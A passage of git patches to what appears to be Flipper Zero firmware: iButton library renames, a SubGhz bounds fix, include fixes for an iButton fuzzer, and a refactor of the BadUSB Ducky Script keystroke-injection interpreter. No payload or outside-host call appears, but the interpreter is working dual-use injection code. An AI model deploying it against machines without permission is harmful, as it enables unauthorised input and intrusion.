b/lib/ibutton/protocols/misc/protocol_group_misc_defs.c similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_group_misc_defs.c rename to lib/ibutton/protocols/misc/protocol_group_misc_defs.c diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_group_misc_defs.h b/lib/ibutton/protocols/misc/protocol_group_misc_defs.h similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_group_misc_defs.h rename to lib/ibutton/protocols/misc/protocol_group_misc_defs.h diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_metakom.c b/lib/ibutton/protocols/misc/protocol_metakom.c similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_metakom.c rename to lib/ibutton/protocols/misc/protocol_metakom.c diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_metakom.h b/lib/ibutton/protocols/misc/protocol_metakom.h similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_metakom.h rename to lib/ibutton/protocols/misc/protocol_metakom.h diff --git a/lib/one_wire/ibutton/protocols/protocol_common.h b/lib/ibutton/protocols/protocol_common.h similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_common.h rename to lib/ibutton/protocols/protocol_common.h diff --git a/lib/one_wire/ibutton/protocols/protocol_common_i.h b/lib/ibutton/protocols/protocol_common_i.h similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_common_i.h rename to lib/ibutton/protocols/protocol_common_i.h diff --git a/lib/one_wire/ibutton/protocols/protocol_group_base.h b/lib/ibutton/protocols/protocol_group_base.h similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_group_base.h rename to lib/ibutton/protocols/protocol_group_base.h diff --git a/lib/one_wire/ibutton/protocols/protocol_group_defs.c b/lib/ibutton/protocols/protocol_group_defs.c similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_group_defs.c rename to lib/ibutton/protocols/protocol_group_defs.c diff --git a/lib/one_wire/ibutton/protocols/protocol_group_defs.h b/lib/ibutton/protocols/protocol_group_defs.h similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_group_defs.h rename to lib/ibutton/protocols/protocol_group_defs.h diff --git a/lib/one_wire/SConscript b/lib/one_wire/SConscript index 56d4759eb..8d73c9dbf 100644 --- a/lib/one_wire/SConscript +++ b/lib/one_wire/SConscript @@ -11,9 +11,6 @@ env.Append( File("one_wire_host_timing.h"), File("one_wire_host.h"), File("one_wire_slave.h"), - File("ibutton/ibutton_key.h"), - File("ibutton/ibutton_worker.h"), - File("ibutton/ibutton_protocols.h"), File("maxim_crc.h"), ], ) From 445a1aa7b01d27b88b9cc0793e0a318d9829a3f7 Mon Sep 17 00:00:00 2001 From: Skorpionm <85568270+Skorpionm@users.noreply.github.com> Date: Mon, 20 Mar 2023 20:30:57 +0400 Subject: [PATCH 187/329] SubGhz: fix Incorrect comparison in subghz_setting_get_hopper_frequency (#2518) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- lib/subghz/subghz_setting.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/subghz_setting.c b/lib/subghz/subghz_setting.c index 5d7ea0cec..656580043 100644 --- a/lib/subghz/subghz_setting.c +++ b/lib/subghz/subghz_setting.c @@ -541,7 +541,7 @@ uint32_t subghz_setting_get_frequency(SubGhzSetting* instance, size_t idx) { uint32_t subghz_setting_get_hopper_frequency(SubGhzSetting* instance, size_t idx) { furi_assert(instance); - if(idx < FrequencyList_size(instance->frequencies)) { + if(idx < FrequencyList_size(instance->hopper_frequencies)) { return *FrequencyList_get(instance->hopper_frequencies, idx); } else { return 0; From 3d90e6151cf0bc751724a4dde66e6a12e70bebf8 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 20 Mar 2023 20:08:02 +0300 Subject: [PATCH 188/329] Fix include paths --- applications/external/ibtn_fuzzer/ibtnfuzzer.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/ibtn_fuzzer/ibtnfuzzer.h b/applications/external/ibtn_fuzzer/ibtnfuzzer.h index 91a9c6b0c..ed42cc541 100644 --- a/applications/external/ibtn_fuzzer/ibtnfuzzer.h +++ b/applications/external/ibtn_fuzzer/ibtnfuzzer.h @@ -17,8 +17,8 @@ #include -#include -#include +#include +#include #define TAG "iBtnFuzzer" From 0444a80f195b7f12b96b11e9da714c00c8a79d40 Mon Sep 17 00:00:00 2001 From: Nikolay Minaylov Date: Mon, 20 Mar 2023 20:22:03 +0300 Subject: [PATCH 189/329] [FL-3134] BadUSB: Script interpreter refactoring (#2485) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Script command and character tables * Non-blocking stringdelay, docs update * altchar/altstring fix * Layout select UI fix * Remove debug print Co-authored-by: あく --- applications/main/bad_usb/bad_usb_app_i.h | 2 +- .../ducky_script.c} | 326 +++++++++-------- .../ducky_script.h} | 27 +- .../bad_usb/helpers/ducky_script_commands.c | 177 ++++++++++ .../main/bad_usb/helpers/ducky_script_i.h | 69 ++++ .../bad_usb/helpers/ducky_script_keycodes.c | 79 +++++ applications/main/bad_usb/mnemonic.c | 327 ------------------ applications/main/bad_usb/mnemonic.h | 96 ----- .../bad_usb/scenes/bad_usb_scene_config.c | 2 +- .../scenes/bad_usb_scene_config_layout.c | 4 +- .../main/bad_usb/scenes/bad_usb_scene_work.c | 2 +- .../main/bad_usb/views/bad_usb_view.c | 9 +- .../main/bad_usb/views/bad_usb_view.h | 2 +- applications/services/gui/modules/submenu.c | 2 +- .../file_formats/BadUsbScriptFormat.md | 82 +++-- .../targets/f7/furi_hal/furi_hal_usb_hid.c | 3 - .../furi_hal_include/furi_hal_usb_hid.h | 5 + 17 files changed, 576 insertions(+), 638 deletions(-) rename applications/main/bad_usb/{bad_usb_script.c => helpers/ducky_script.c} (74%) rename applications/main/bad_usb/{bad_usb_script.h => helpers/ducky_script.h} (61%) create mode 100644 applications/main/bad_usb/helpers/ducky_script_commands.c create mode 100644 applications/main/bad_usb/helpers/ducky_script_i.h create mode 100644 applications/main/bad_usb/helpers/ducky_script_keycodes.c delete mode 100644 applications/main/bad_usb/mnemonic.c delete mode 100644 applications/main/bad_usb/mnemonic.h diff --git a/applications/main/bad_usb/bad_usb_app_i.h b/applications/main/bad_usb/bad_usb_app_i.h index 588c4c2d5..cf1c02ebc 100644 --- a/applications/main/bad_usb/bad_usb_app_i.h +++ b/applications/main/bad_usb/bad_usb_app_i.h @@ -2,7 +2,7 @@ #include "bad_usb_app.h" #include "scenes/bad_usb_scene.h" -#include "bad_usb_script.h" +#include "helpers/ducky_script.h" #include #include diff --git a/applications/main/bad_usb/bad_usb_script.c b/applications/main/bad_usb/helpers/ducky_script.c similarity index 74% rename from applications/main/bad_usb/bad_usb_script.c rename to applications/main/bad_usb/helpers/ducky_script.c index 12abc766a..0206b7d09 100644 --- a/applications/main/bad_usb/bad_usb_script.c +++ b/applications/main/bad_usb/helpers/ducky_script.c @@ -5,17 +5,13 @@ #include #include #include -#include "bad_usb_script.h" -#include "mnemonic.h" +#include "ducky_script.h" +#include "ducky_script_i.h" #include #define TAG "BadUSB" #define WORKER_TAG TAG "Worker" -#define SCRIPT_STATE_ERROR (-1) -#define SCRIPT_STATE_END (-2) -#define SCRIPT_STATE_NEXT_LINE (-3) - #define BADUSB_ASCII_TO_KEY(script, x) \ (((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE) @@ -26,87 +22,20 @@ typedef enum { WorkerEvtDisconnect = (1 << 3), } WorkerEvtFlags; -typedef struct { - char* name; - uint16_t keycode; -} DuckyKey; - -static const DuckyKey ducky_keys[] = { - {"CTRL-ALT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_ALT}, - {"CTRL-SHIFT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_SHIFT}, - {"ALT-SHIFT", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_SHIFT}, - {"ALT-GUI", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_GUI}, - {"GUI-SHIFT", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_SHIFT}, - {"GUI-CTRL", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_CTRL}, - - {"CTRL", KEY_MOD_LEFT_CTRL}, - {"CONTROL", KEY_MOD_LEFT_CTRL}, - {"SHIFT", KEY_MOD_LEFT_SHIFT}, - {"ALT", KEY_MOD_LEFT_ALT}, - {"GUI", KEY_MOD_LEFT_GUI}, - {"WINDOWS", KEY_MOD_LEFT_GUI}, - - {"DOWNARROW", HID_KEYBOARD_DOWN_ARROW}, - {"DOWN", HID_KEYBOARD_DOWN_ARROW}, - {"LEFTARROW", HID_KEYBOARD_LEFT_ARROW}, - {"LEFT", HID_KEYBOARD_LEFT_ARROW}, - {"RIGHTARROW", HID_KEYBOARD_RIGHT_ARROW}, - {"RIGHT", HID_KEYBOARD_RIGHT_ARROW}, - {"UPARROW", HID_KEYBOARD_UP_ARROW}, - {"UP", HID_KEYBOARD_UP_ARROW}, - - {"ENTER", HID_KEYBOARD_RETURN}, - {"BREAK", HID_KEYBOARD_PAUSE}, - {"PAUSE", HID_KEYBOARD_PAUSE}, - {"CAPSLOCK", HID_KEYBOARD_CAPS_LOCK}, - {"DELETE", HID_KEYBOARD_DELETE_FORWARD}, - {"BACKSPACE", HID_KEYBOARD_DELETE}, - {"END", HID_KEYBOARD_END}, - {"ESC", HID_KEYBOARD_ESCAPE}, - {"ESCAPE", HID_KEYBOARD_ESCAPE}, - {"HOME", HID_KEYBOARD_HOME}, - {"INSERT", HID_KEYBOARD_INSERT}, - {"NUMLOCK", HID_KEYPAD_NUMLOCK}, - {"PAGEUP", HID_KEYBOARD_PAGE_UP}, - {"PAGEDOWN", HID_KEYBOARD_PAGE_DOWN}, - {"PRINTSCREEN", HID_KEYBOARD_PRINT_SCREEN}, - {"SCROLLLOCK", HID_KEYBOARD_SCROLL_LOCK}, - {"SPACE", HID_KEYBOARD_SPACEBAR}, - {"TAB", HID_KEYBOARD_TAB}, - {"MENU", HID_KEYBOARD_APPLICATION}, - {"APP", HID_KEYBOARD_APPLICATION}, - - {"F1", HID_KEYBOARD_F1}, - {"F2", HID_KEYBOARD_F2}, - {"F3", HID_KEYBOARD_F3}, - {"F4", HID_KEYBOARD_F4}, - {"F5", HID_KEYBOARD_F5}, - {"F6", HID_KEYBOARD_F6}, - {"F7", HID_KEYBOARD_F7}, - {"F8", HID_KEYBOARD_F8}, - {"F9", HID_KEYBOARD_F9}, - {"F10", HID_KEYBOARD_F10}, - {"F11", HID_KEYBOARD_F11}, - {"F12", HID_KEYBOARD_F12}, -}; - -static const char ducky_cmd_comment[] = {"REM"}; static const char ducky_cmd_id[] = {"ID"}; -static const char ducky_cmd_delay[] = {"DELAY "}; -static const char ducky_cmd_string[] = {"STRING "}; -static const char ducky_cmd_stringln[] = {"STRINGLN "}; -static const char ducky_cmd_defdelay_1[] = {"DEFAULT_DELAY "}; -static const char ducky_cmd_defdelay_2[] = {"DEFAULTDELAY "}; -static const char ducky_cmd_stringdelay_1[] = {"STRINGDELAY "}; -static const char ducky_cmd_stringdelay_2[] = {"STRING_DELAY "}; -static const char ducky_cmd_repeat[] = {"REPEAT "}; -static const char ducky_cmd_sysrq[] = {"SYSRQ "}; -static const char ducky_cmd_hold[] = {"HOLD "}; -static const char ducky_cmd_release[] = {"RELEASE "}; -static const char ducky_cmd_altchar[] = {"ALTCHAR "}; -static const char ducky_cmd_altstr_1[] = {"ALTSTRING "}; -static const char ducky_cmd_altstr_2[] = {"ALTCODE "}; +static const uint8_t numpad_keys[10] = { + HID_KEYPAD_0, + HID_KEYPAD_1, + HID_KEYPAD_2, + HID_KEYPAD_3, + HID_KEYPAD_4, + HID_KEYPAD_5, + HID_KEYPAD_6, + HID_KEYPAD_7, + HID_KEYPAD_8, + HID_KEYPAD_9, +}; uint32_t ducky_get_command_len(const char* line) { uint32_t len = strlen(line); @@ -121,76 +50,150 @@ bool ducky_is_line_end(const char chr) { } uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars) { - for(size_t i = 0; i < (sizeof(ducky_keys) / sizeof(ducky_keys[0])); i++) { - size_t key_cmd_len = strlen(ducky_keys[i].name); - if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) && - (ducky_is_line_end(param[key_cmd_len]))) { - return ducky_keys[i].keycode; - } + uint16_t keycode = ducky_get_keycode_by_name(param); + if(keycode != HID_KEYBOARD_NONE) { + return keycode; } + if((accept_chars) && (strlen(param) > 0)) { return (BADUSB_ASCII_TO_KEY(bad_usb, param[0]) & 0xFF); } return 0; } -static int32_t - ducky_parse_line(BadUsbScript* bad_usb, FuriString* line, char* error, size_t error_len) { +bool ducky_get_number(const char* param, uint32_t* val) { + uint32_t value = 0; + if(sscanf(param, "%lu", &value) == 1) { + *val = value; + return true; + } + return false; +} + +void ducky_numlock_on() { + if((furi_hal_hid_get_led_state() & HID_KB_LED_NUM) == 0) { + furi_hal_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK); + furi_hal_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK); + } +} +bool ducky_numpad_press(const char num) { + if((num < '0') || (num > '9')) return false; + + uint16_t key = numpad_keys[num - '0']; + furi_hal_hid_kb_press(key); + furi_hal_hid_kb_release(key); + + return true; +} + +bool ducky_altchar(const char* charcode) { + uint8_t i = 0; + bool state = false; + + furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT); + + while(!ducky_is_line_end(charcode[i])) { + state = ducky_numpad_press(charcode[i]); + if(state == false) break; + i++; + } + + furi_hal_hid_kb_release(KEY_MOD_LEFT_ALT); + return state; +} + +bool ducky_altstring(const char* param) { + uint32_t i = 0; + bool state = false; + + while(param[i] != '\0') { + if((param[i] < ' ') || (param[i] > '~')) { + i++; + continue; // Skip non-printable chars + } + + char temp_str[4]; + snprintf(temp_str, 4, "%u", param[i]); + + state = ducky_altchar(temp_str); + if(state == false) break; + i++; + } + return state; +} + +int32_t ducky_error(BadUsbScript* bad_usb, const char* text, ...) { + va_list args; + va_start(args, text); + + vsnprintf(bad_usb->st.error, sizeof(bad_usb->st.error), text, args); + + va_end(args); + return SCRIPT_STATE_ERROR; +} + +bool ducky_string(BadUsbScript* bad_usb, const char* param) { + uint32_t i = 0; + + while(param[i] != '\0') { + if(param[i] != '\n') { + uint16_t keycode = BADUSB_ASCII_TO_KEY(bad_usb, param[i]); + if(keycode != HID_KEYBOARD_NONE) { + furi_hal_hid_kb_press(keycode); + furi_hal_hid_kb_release(keycode); + } + } else { + furi_hal_hid_kb_press(HID_KEYBOARD_RETURN); + furi_hal_hid_kb_release(HID_KEYBOARD_RETURN); + } + i++; + } + bad_usb->stringdelay = 0; + return true; +} + +static bool ducky_string_next(BadUsbScript* bad_usb) { + if(bad_usb->string_print_pos >= furi_string_size(bad_usb->string_print)) { + return true; + } + + char print_char = furi_string_get_char(bad_usb->string_print, bad_usb->string_print_pos); + + if(print_char != '\n') { + uint16_t keycode = BADUSB_ASCII_TO_KEY(bad_usb, print_char); + if(keycode != HID_KEYBOARD_NONE) { + furi_hal_hid_kb_press(keycode); + furi_hal_hid_kb_release(keycode); + } + } else { + furi_hal_hid_kb_press(HID_KEYBOARD_RETURN); + furi_hal_hid_kb_release(HID_KEYBOARD_RETURN); + } + + bad_usb->string_print_pos++; + + return false; +} + +static int32_t ducky_parse_line(BadUsbScript* bad_usb, FuriString* line) { uint32_t line_len = furi_string_size(line); const char* line_tmp = furi_string_get_cstr(line); - const char* ducky_cmd_table[] = { - ducky_cmd_comment, - ducky_cmd_id, - ducky_cmd_delay, - ducky_cmd_string, - ducky_cmd_defdelay_1, - ducky_cmd_defdelay_2, - ducky_cmd_stringdelay_1, - ducky_cmd_stringdelay_2, - ducky_cmd_repeat, - ducky_cmd_sysrq, - ducky_cmd_altchar, - ducky_cmd_altstr_1, - ducky_cmd_altstr_2, - ducky_cmd_stringln, - ducky_cmd_hold, - ducky_cmd_release, - NULL}; - int32_t (*fnc_ptr[])(BadUsbScript*, FuriString*, const char*, char*, size_t) = { - &ducky_fnc_noop, - &ducky_fnc_noop, - &ducky_fnc_delay, - &ducky_fnc_string, - &ducky_fnc_defdelay, - &ducky_fnc_defdelay, - &ducky_fnc_strdelay, - &ducky_fnc_strdelay, - &ducky_fnc_repeat, - &ducky_fnc_sysrq, - &ducky_fnc_altchar, - &ducky_fnc_altstring, - &ducky_fnc_altstring, - &ducky_fnc_stringln, - &ducky_fnc_hold, - &ducky_fnc_release, - NULL}; if(line_len == 0) { return SCRIPT_STATE_NEXT_LINE; // Skip empty lines } FURI_LOG_D(WORKER_TAG, "line:%s", line_tmp); + // Ducky Lang Functions - for(size_t i = 0; ducky_cmd_table[i]; i++) { - if(strncmp(line_tmp, ducky_cmd_table[i], strlen(ducky_cmd_table[i])) == 0) - return ((fnc_ptr[i])(bad_usb, line, line_tmp, error, error_len)); + int32_t cmd_result = ducky_execute_cmd(bad_usb, line_tmp); + if(cmd_result != SCRIPT_STATE_CMD_UNKNOWN) { + return cmd_result; } + // Special keys + modifiers uint16_t key = ducky_get_keycode(bad_usb, line_tmp, false); if(key == HID_KEYBOARD_NONE) { - if(error != NULL) { - snprintf(error, error_len, "No keycode defined for %s", line_tmp); - } - return SCRIPT_STATE_ERROR; + return ducky_error(bad_usb, "No keycode defined for %s", line_tmp); } if((key & 0xFF00) != 0) { // It's a modifier key @@ -199,7 +202,7 @@ static int32_t } furi_hal_hid_kb_press(key); furi_hal_hid_kb_release(key); - return (0); + return 0; } static bool ducky_set_usb_id(BadUsbScript* bad_usb, const char* line) { @@ -277,8 +280,7 @@ static int32_t ducky_script_execute_next(BadUsbScript* bad_usb, File* script_fil if(bad_usb->repeat_cnt > 0) { bad_usb->repeat_cnt--; - delay_val = ducky_parse_line( - bad_usb, bad_usb->line_prev, bad_usb->st.error, sizeof(bad_usb->st.error)); + delay_val = ducky_parse_line(bad_usb, bad_usb->line_prev); if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line return 0; } else if(delay_val < 0) { // Script error @@ -313,10 +315,11 @@ static int32_t ducky_script_execute_next(BadUsbScript* bad_usb, File* script_fil bad_usb->buf_len = bad_usb->buf_len + bad_usb->buf_start - (i + 1); bad_usb->buf_start = i + 1; furi_string_trim(bad_usb->line); - delay_val = ducky_parse_line( - bad_usb, bad_usb->line, bad_usb->st.error, sizeof(bad_usb->st.error)); + delay_val = ducky_parse_line(bad_usb, bad_usb->line); if(delay_val == SCRIPT_STATE_NEXT_LINE) { // Empty line return 0; + } else if(delay_val == SCRIPT_STATE_STRING_START) { // Print string with delays + return delay_val; } else if(delay_val < 0) { bad_usb->st.error_line = bad_usb->st.line_cur; FURI_LOG_E(WORKER_TAG, "Unknown command at line %u", bad_usb->st.line_cur); @@ -339,10 +342,11 @@ static void bad_usb_hid_state_callback(bool state, void* context) { furi_assert(context); BadUsbScript* bad_usb = context; - if(state == true) + if(state == true) { furi_thread_flags_set(furi_thread_get_id(bad_usb->thread), WorkerEvtConnect); - else + } else { furi_thread_flags_set(furi_thread_get_id(bad_usb->thread), WorkerEvtDisconnect); + } } static uint32_t bad_usb_flags_get(uint32_t flags_mask, uint32_t timeout) { @@ -368,6 +372,7 @@ static int32_t bad_usb_worker(void* context) { File* script_file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); bad_usb->line = furi_string_alloc(); bad_usb->line_prev = furi_string_alloc(); + bad_usb->string_print = furi_string_alloc(); furi_hal_hid_set_state_callback(bad_usb_hid_state_callback, bad_usb); @@ -420,6 +425,7 @@ static int32_t bad_usb_worker(void* context) { bad_usb->defdelay = 0; bad_usb->stringdelay = 0; bad_usb->repeat_cnt = 0; + bad_usb->key_hold_nb = 0; bad_usb->file_end = false; storage_file_seek(script_file, 0, true); worker_state = BadUsbStateRunning; @@ -492,12 +498,17 @@ static int32_t bad_usb_worker(void* context) { delay_val = 0; worker_state = BadUsbStateScriptError; bad_usb->st.state = worker_state; + furi_hal_hid_kb_release_all(); } else if(delay_val == SCRIPT_STATE_END) { // End of script delay_val = 0; worker_state = BadUsbStateIdle; bad_usb->st.state = BadUsbStateDone; furi_hal_hid_kb_release_all(); continue; + } else if(delay_val == SCRIPT_STATE_STRING_START) { // Start printing string with delays + delay_val = bad_usb->defdelay; + bad_usb->string_print_pos = 0; + worker_state = BadUsbStateStringDelay; } else if(delay_val > 1000) { bad_usb->st.state = BadUsbStateDelay; // Show long delays bad_usb->st.delay_remain = delay_val / 1000; @@ -505,7 +516,35 @@ static int32_t bad_usb_worker(void* context) { } else { furi_check((flags & FuriFlagError) == 0); } + } else if(worker_state == BadUsbStateStringDelay) { // State: print string with delays + uint32_t flags = furi_thread_flags_wait( + WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, + FuriFlagWaitAny, + bad_usb->stringdelay); + if(!(flags & FuriFlagError)) { + if(flags & WorkerEvtEnd) { + break; + } else if(flags & WorkerEvtToggle) { + worker_state = BadUsbStateIdle; // Stop executing script + furi_hal_hid_kb_release_all(); + } else if(flags & WorkerEvtDisconnect) { + worker_state = BadUsbStateNotConnected; // USB disconnected + furi_hal_hid_kb_release_all(); + } + bad_usb->st.state = worker_state; + continue; + } else if( + (flags == (unsigned)FuriFlagErrorTimeout) || + (flags == (unsigned)FuriFlagErrorResource)) { + bool string_end = ducky_string_next(bad_usb); + if(string_end) { + bad_usb->stringdelay = 0; + worker_state = BadUsbStateRunning; + } + } else { + furi_check((flags & FuriFlagError) == 0); + } } else if( (worker_state == BadUsbStateFileError) || (worker_state == BadUsbStateScriptError)) { // State: error @@ -524,6 +563,7 @@ static int32_t bad_usb_worker(void* context) { storage_file_free(script_file); furi_string_free(bad_usb->line); furi_string_free(bad_usb->line_prev); + furi_string_free(bad_usb->string_print); FURI_LOG_I(WORKER_TAG, "End"); diff --git a/applications/main/bad_usb/bad_usb_script.h b/applications/main/bad_usb/helpers/ducky_script.h similarity index 61% rename from applications/main/bad_usb/bad_usb_script.h rename to applications/main/bad_usb/helpers/ducky_script.h index fef2deaed..0e616242a 100644 --- a/applications/main/bad_usb/bad_usb_script.h +++ b/applications/main/bad_usb/helpers/ducky_script.h @@ -7,8 +7,6 @@ extern "C" { #include #include -#define FILE_BUFFER_LEN 16 - typedef enum { BadUsbStateInit, BadUsbStateNotConnected, @@ -16,6 +14,7 @@ typedef enum { BadUsbStateWillRun, BadUsbStateRunning, BadUsbStateDelay, + BadUsbStateStringDelay, BadUsbStateDone, BadUsbStateScriptError, BadUsbStateFileError, @@ -30,23 +29,7 @@ typedef struct { char error[64]; } BadUsbState; -typedef struct BadUsbScript { - FuriHalUsbHidConfig hid_cfg; - BadUsbState st; - FuriString* file_path; - uint32_t defdelay; - uint16_t layout[128]; - uint32_t stringdelay; - FuriThread* thread; - uint8_t file_buf[FILE_BUFFER_LEN + 1]; - uint8_t buf_start; - uint8_t buf_len; - bool file_end; - FuriString* line; - - FuriString* line_prev; - uint32_t repeat_cnt; -} BadUsbScript; +typedef struct BadUsbScript BadUsbScript; BadUsbScript* bad_usb_script_open(FuriString* file_path); @@ -62,12 +45,6 @@ void bad_usb_script_toggle(BadUsbScript* bad_usb); BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb); -uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars); - -uint32_t ducky_get_command_len(const char* line); - -bool ducky_is_line_end(const char chr); - #ifdef __cplusplus } #endif diff --git a/applications/main/bad_usb/helpers/ducky_script_commands.c b/applications/main/bad_usb/helpers/ducky_script_commands.c new file mode 100644 index 000000000..f3de43c1b --- /dev/null +++ b/applications/main/bad_usb/helpers/ducky_script_commands.c @@ -0,0 +1,177 @@ +#include +#include +#include "ducky_script.h" +#include "ducky_script_i.h" + +typedef int32_t (*DuckyCmdCallback)(BadUsbScript* bad_usb, const char* line, int32_t param); + +typedef struct { + char* name; + DuckyCmdCallback callback; + int32_t param; +} DuckyCmd; + +static int32_t ducky_fnc_delay(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + uint32_t delay_val = 0; + bool state = ducky_get_number(line, &delay_val); + if((state) && (delay_val > 0)) { + return (int32_t)delay_val; + } + + return ducky_error(bad_usb, "Invalid number %s", line); +} + +static int32_t ducky_fnc_defdelay(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + bool state = ducky_get_number(line, &bad_usb->defdelay); + if(!state) { + return ducky_error(bad_usb, "Invalid number %s", line); + } + return 0; +} + +static int32_t ducky_fnc_strdelay(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + bool state = ducky_get_number(line, &bad_usb->stringdelay); + if(!state) { + return ducky_error(bad_usb, "Invalid number %s", line); + } + return 0; +} + +static int32_t ducky_fnc_string(BadUsbScript* bad_usb, const char* line, int32_t param) { + line = &line[ducky_get_command_len(line) + 1]; + furi_string_set_str(bad_usb->string_print, line); + if(param == 1) { + furi_string_cat(bad_usb->string_print, "\n"); + } + + if(bad_usb->stringdelay == 0) { // stringdelay not set - run command immidiately + bool state = ducky_string(bad_usb, furi_string_get_cstr(bad_usb->string_print)); + if(!state) { + return ducky_error(bad_usb, "Invalid string %s", line); + } + } else { // stringdelay is set - run command in thread to keep handling external events + return SCRIPT_STATE_STRING_START; + } + + return 0; +} + +static int32_t ducky_fnc_repeat(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + bool state = ducky_get_number(line, &bad_usb->repeat_cnt); + if((!state) || (bad_usb->repeat_cnt == 0)) { + return ducky_error(bad_usb, "Invalid number %s", line); + } + return 0; +} + +static int32_t ducky_fnc_sysrq(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + uint16_t key = ducky_get_keycode(bad_usb, line, true); + furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); + furi_hal_hid_kb_press(key); + furi_hal_hid_kb_release_all(); + return 0; +} + +static int32_t ducky_fnc_altchar(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + ducky_numlock_on(); + bool state = ducky_altchar(line); + if(!state) { + return ducky_error(bad_usb, "Invalid altchar %s", line); + } + return 0; +} + +static int32_t ducky_fnc_altstring(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + ducky_numlock_on(); + bool state = ducky_altstring(line); + if(!state) { + return ducky_error(bad_usb, "Invalid altstring %s", line); + } + return 0; +} + +static int32_t ducky_fnc_hold(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + uint16_t key = ducky_get_keycode(bad_usb, line, true); + if(key == HID_KEYBOARD_NONE) { + return ducky_error(bad_usb, "No keycode defined for %s", line); + } + bad_usb->key_hold_nb++; + if(bad_usb->key_hold_nb > (HID_KB_MAX_KEYS - 1)) { + return ducky_error(bad_usb, "Too many keys are hold"); + } + furi_hal_hid_kb_press(key); + return 0; +} + +static int32_t ducky_fnc_release(BadUsbScript* bad_usb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + uint16_t key = ducky_get_keycode(bad_usb, line, true); + if(key == HID_KEYBOARD_NONE) { + return ducky_error(bad_usb, "No keycode defined for %s", line); + } + if(bad_usb->key_hold_nb == 0) { + return ducky_error(bad_usb, "No keys are hold"); + } + bad_usb->key_hold_nb--; + furi_hal_hid_kb_release(key); + return 0; +} + +static const DuckyCmd ducky_commands[] = { + {"REM ", NULL, -1}, + {"ID ", NULL, -1}, + {"DELAY ", ducky_fnc_delay, -1}, + {"STRING ", ducky_fnc_string, 0}, + {"STRINGLN ", ducky_fnc_string, 1}, + {"DEFAULT_DELAY ", ducky_fnc_defdelay, -1}, + {"DEFAULTDELAY ", ducky_fnc_defdelay, -1}, + {"STRINGDELAY ", ducky_fnc_strdelay, -1}, + {"STRING_DELAY ", ducky_fnc_strdelay, -1}, + {"REPEAT ", ducky_fnc_repeat, -1}, + {"SYSRQ ", ducky_fnc_sysrq, -1}, + {"ALTCHAR ", ducky_fnc_altchar, -1}, + {"ALTSTRING ", ducky_fnc_altstring, -1}, + {"ALTCODE ", ducky_fnc_altstring, -1}, + {"HOLD ", ducky_fnc_hold, -1}, + {"RELEASE ", ducky_fnc_release, -1}, +}; + +int32_t ducky_execute_cmd(BadUsbScript* bad_usb, const char* line) { + for(size_t i = 0; i < COUNT_OF(ducky_commands); i++) { + if(strncmp(line, ducky_commands[i].name, strlen(ducky_commands[i].name)) == 0) { + if(ducky_commands[i].callback == NULL) { + return 0; + } else { + return ((ducky_commands[i].callback)(bad_usb, line, ducky_commands[i].param)); + } + } + } + + return SCRIPT_STATE_CMD_UNKNOWN; +} diff --git a/applications/main/bad_usb/helpers/ducky_script_i.h b/applications/main/bad_usb/helpers/ducky_script_i.h new file mode 100644 index 000000000..0cda0fa2c --- /dev/null +++ b/applications/main/bad_usb/helpers/ducky_script_i.h @@ -0,0 +1,69 @@ +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include "ducky_script.h" + +#define SCRIPT_STATE_ERROR (-1) +#define SCRIPT_STATE_END (-2) +#define SCRIPT_STATE_NEXT_LINE (-3) +#define 